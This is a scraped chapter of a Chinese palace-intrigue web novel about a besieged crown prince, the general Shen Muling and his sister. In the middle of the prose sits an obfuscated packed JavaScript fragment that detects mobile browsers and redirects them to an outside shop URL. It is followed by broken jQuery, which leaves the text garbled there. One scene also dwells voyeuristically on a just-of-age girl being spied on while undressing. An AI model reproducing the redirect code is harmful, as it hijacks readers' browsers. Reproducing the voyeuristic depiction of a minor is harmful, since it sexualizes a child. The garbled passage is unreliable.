默认冷灰
24号文字
方正启体

10. 第 10 章

作者:花上本书字数:K更新时间:
    朝局之中,太子萧承煜的处境,但凡为官者皆看得通透。


    沈沐临驻守边关多年,从一介小兵成长为横扫叛贼、安定边疆的大将军,其能力可见一斑。


    他自幼习武,五岁便被祖父送入袁将军门下,学武艺、练兵法,后又随袁将军远赴边关。


    这些年历经风雨,他对朝堂局势早已了然于心。


    袁将军曾与他深谈历代朝堂更迭与国运走向,直言不出十年,国家必有惊天变局,并叮嘱他,届时需择明主而事,拥护有经天纬地之才的新势力。


    如今,太子作为新晋势力,是否担得起“经天纬地”四字,尚难定论。但沈沐临心中已然明晰,相较二皇子萧承烨,太子无论人品还是才干,皆略胜一筹。


    二皇子不过是仗着母族外戚势力庞大,才得以在朝堂立足。但是,若外戚专政根深蒂固,即便二皇子日后登基,有皇后与国舅把持朝政,他也多半只是个傀儡皇帝,届时朝堂必将再起腥风血雨。


    而太子萧承煜,母族早已被赶尽杀绝,如今孤身一人,无依无靠,唯一的出路便是凭借自身能力,在朝堂中站稳脚跟,逐步替换老臣、培植新势力。


    可这一路,何其艰难。


    就如眼下,冀州平乱与东宫藏甲两桩事,已将他逼入绝境。若他连眼前困局都无法突破,这太子之位,终究难保。


    沈沐临看着妹妹焦灼不安的模样,心中五味杂陈,沉沉一叹,眉宇间满是疲惫:“陛下信与不信,皆无意义。若无铁证,一切皆是空谈。即便洗清谋逆嫌疑,太子在百姓心中的威望也已受损。国舅这一步棋,既捧了二皇子,又将太子逼入死局。”


    “这些年太子在宫中孤立无援,唯有少数年轻后辈认可其才干,可他们的势力,远不及那些盘根错节的老臣。想稳住太子之位,唯有慢慢替换旧臣、培养新生力量,可这谈何容易。”


    沈倾音心沉至谷底,不敢想象萧承煜若跳不出这陷阱,会落得何等下场。她红了眼眶,急切望着兄长:“大哥,你能帮他吗?”


    帮他……


    沈沐临脚步一顿,转头看向妹妹泛红的双眼。


    沈倾音被他看得连忙垂下头。


    良久沉默后,沈沐临才缓缓开口,语气带着身不由己的无奈:“陛下调我回京,本就是权衡之术。我手握兵权,他既防我投靠国舅,也借我制衡国舅势力。于陛下而言,我不过是颗暂时动不得的棋子。妹妹,身处这权力漩涡,无人能独善其身。”


    寥寥数语,已道尽他的处境。


    沈倾音难受不已,她知晓,自兄长踏入京城那日起,便已身不由己。


    望着兄长憔悴的面容,她强压下心头酸涩,吸了口气道:“大哥,先用饭吧,我炖了汤。”


    沈沐临心疼地看着妹妹忧心忡忡的模样,无声叹了口气,转身往膳厅走去。


    次日清晨,苏府嬷嬷再度登门,依旧是上次那位,她笑意盈盈道:“沈姑娘,夫人邀二位姑娘过府做客,还有几位官家女眷在,说是要介绍给姑娘们认识,特意嘱咐让沈梨姑娘也一同前往。”


    沈倾音本无心应酬,转念一想,或许能从这些女眷口中探得东宫消息,便应了下来,带着沈梨前往苏府。


    府中果然坐着几位年轻姑娘,皆是朝中老臣的远亲,并无直系嫡女。众人见了她,倒也热情,一番寒暄后,话题自然而然落到太子身上。


    “太子殿下除了样貌才学出众,性子也太冷了些,听说在冀州还伤了无辜百姓,手段实在惨烈。”


    “可不是嘛,我兄长在锦衣卫当差,说这次太子殿下怕是难以脱身了。”


    “还是二皇子殿下好,温润有礼,听说他对太傅孙女一见钟情,说不定很快就有喜事了。”


    她们言语间皆是对太子的诋毁、对二皇子的追捧。沈倾音听着这些添油加醋的流言,心中愈发沉重。


    她心神不宁地坐着,竟未察觉沈梨何时离了席。


    另一边,沈梨被嬷嬷引至后院,手中捧着一件精致华贵的锦衣,嬷嬷笑着夸赞:“沈梨姑娘生得标致,这身衣裳穿在你身上,定是好看极了。”


    沈梨心性单纯,素来喜爱苏府的热情,闻言满心欢喜,连连道谢。嬷嬷将她领进一间整洁客房,屋内陈设雅致,正中央立着一架雕工精美的花鸟屏风。


    “姑娘快进去换上吧。”嬷嬷将衣裳递过去,笑着退了出去。


    沈梨接过衣裳,满心欢喜地关上房门,走到床边褪去衣衫。


    刚及笄的少女身姿玲珑,江南水土养出的肌肤白皙细腻,如上好羊脂白玉。


    可她不知,那看似精美的屏风后,一双眼睛正透过缝隙,注视着她的一举一动。


    沈倾音在苏府并未见到苏廷昭,苏夫人只说他忙于科考,无暇前来。姐妹二人回府后,沈倾音便独自来到后院,坐在石桌旁,望着隔壁院墙探过来的老树发呆。


    春风拂过,枝叶簌簌作响,落下几片嫩绿叶子,空气中飘着淡淡的草木清香。


    隔壁院落寂静无声,想来无人。


    她正欲起身,一道白色身影突然从墙头跃下,是萧承煜曾养过的那只白猫。


    沈倾音心头一紧,连忙上前将猫儿抱起。紧接着,一张纸条从墙头飘落,她急忙捡起展开,上面寥寥数语:“别担心,我无事。明日太后设宴,会邀你入宫。届时将此猫赠予太后。”


    字迹清隽,是萧承煜的笔迹。


    沈倾音攥着纸条,抬头望去,墙头空无一人。


    她轻抚着怀中猫儿柔软的毛发,心中忐忑不已。


    这一夜,她辗转难眠,满心都是对明日宴会的不安,对萧承煜的牵挂。


    东宫寝殿烛火煌煌。萧承煜自浴房缓步而出,墨发未干,湿漉漉地垂落肩头,发梢坠着晶莹水珠,滴在月白色锦袍上,晕开浅浅水痕。


    衣料是上等云纹锦,触手冰滑细腻,紧紧贴覆着他健硕挺拔的身形,勾勒出宽肩窄腰的利落轮廓。


    刚浴罢的身躯散着淡淡热气,混着龙涎香的清冽,在暖光里氤氲开来。


    他那张本就俊朗的面容,被水汽浸得愈发温润,可眉眼间却凝着化不开的沉郁。


    他无意识地摩挲着发间,周身都裹着一层烦闷的戾气。


    禁足东宫,寸步难行,心头的烦躁翻涌不休,又一直牵挂着那个初入京城的人儿。


    35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17449985|201154||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >她得知他被囚东宫,还会像少时那般担心他吗?


    记得在抚州时,有一次,他因文章不解深意,被老药师罚在院中思过。日头毒辣,晒得人皮肤发疼,他却只是垂眸静立,直到一道小小的身影跌跌撞撞翻过矮墙,扑到他面前。


    小姑娘哭丧着一张小脸,眼眶通红,鼻尖泛着粉,小手紧紧揪着他的衣袖,仰着绯红的小脸,软糯的嗓音带着哭腔:“阿煜哥哥,你是不是又受罚了?天这么热,快回屋里去,我去跟爷爷说,不让他罚你了。”


    他看着她软乎乎的模样,心头瞬间软下来,伸手轻轻捏了捏她温热的脸颊,温声哄道:“没事的,妹妹,是哥哥愚笨,悟不透文章深意,爷爷罚我自省罢了。”


    小人儿泪眼汪汪地摇头:“阿煜哥哥才不笨!阿煜哥哥都背了那么多书,这一篇不懂有什么关系?阿音才只会背几首诗呢。”


    日头晒得她小脸发烫,他下意识地抬手,手掌覆在她光洁的额前,替她挡住刺眼的阳光。


    他俯身凑近她,语气郑重又带着少年意气:“傻妹妹,哥哥以后要做顶天立地的人,要做大事,这点苦算什么?哥哥要读遍天下书,练剑、弈棋、骑马,什么都要做到最好。”


    小姑娘眨着湿漉漉的杏眼,好奇追问:“那哥哥要做什么样的大事呀?”


    他抬手指了指头顶澄澈的蓝天,眼底盛着少年独有的锋芒与期许,又笑着捏了捏她的小鼻子:“哥哥要做这天下最厉害的人物,到时候,哥哥就把妹妹带在身边,护妹妹一辈子。”


    话音落,小姑娘瞬间破涕为笑,眼睛亮得像盛满了星光,小手激动地拍着叫好:“太好了!阿煜哥哥最厉害!阿煜哥哥要做大人物!”


    八年光阴,漫长却又珍贵。那八年,他在抚州,被她的软语温言包裹,被她的惦念牵挂填满,被她的唠叨疼爱浸润。


    那是他此生最明媚的时光,是暗夜里唯一的光,是往后岁月里反复回味的甜。


    那年母亲临终前的泪眼与嘱托,又浮现在眼前。母亲攥着他的手,泣声叮嘱:“煜儿,离这京城越远越好,这天下咱们不争了,娘只求你平安顺遂。日后寻个疼你爱你的人,做对寻常夫妻,安稳过一生。”


    那时他不懂,却将这话牢牢记在心底。从踏入抚州的第一年起,他便笃定,此生妻室,唯有沈倾音一人。


    可一朝回京,物是人非。


    冰冷的宫殿,诡谲的权谋,将他困在这四方天地里,心也跟着冻得发僵。


    他怕,怕这深宫的风雨波及她。他念,念她的软语笑颜,念到近乎疯魔,却只能隐忍克制,不敢有半分逾矩。因为他尚未成为那天下最厉害的人,他的靠近,只会给她带来灭顶之灾,如同当年她的父母一般。


    心头郁结更甚,他抬手拿起桌案上那枚褪色的平安符,指腹摩挲着上面的纹路,心绪烦乱到了极点。


    恰在此时,周砚脚步匆匆入内,躬身禀道:“殿下,信已送至沈姑娘手中。”


    萧承煜垂眸望着掌心的平安符,应了一声。他必须尽快破局,解除这困境。


    周砚迟疑片刻,看了看他,又道:“殿下,属下还有一事,需即刻禀告。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)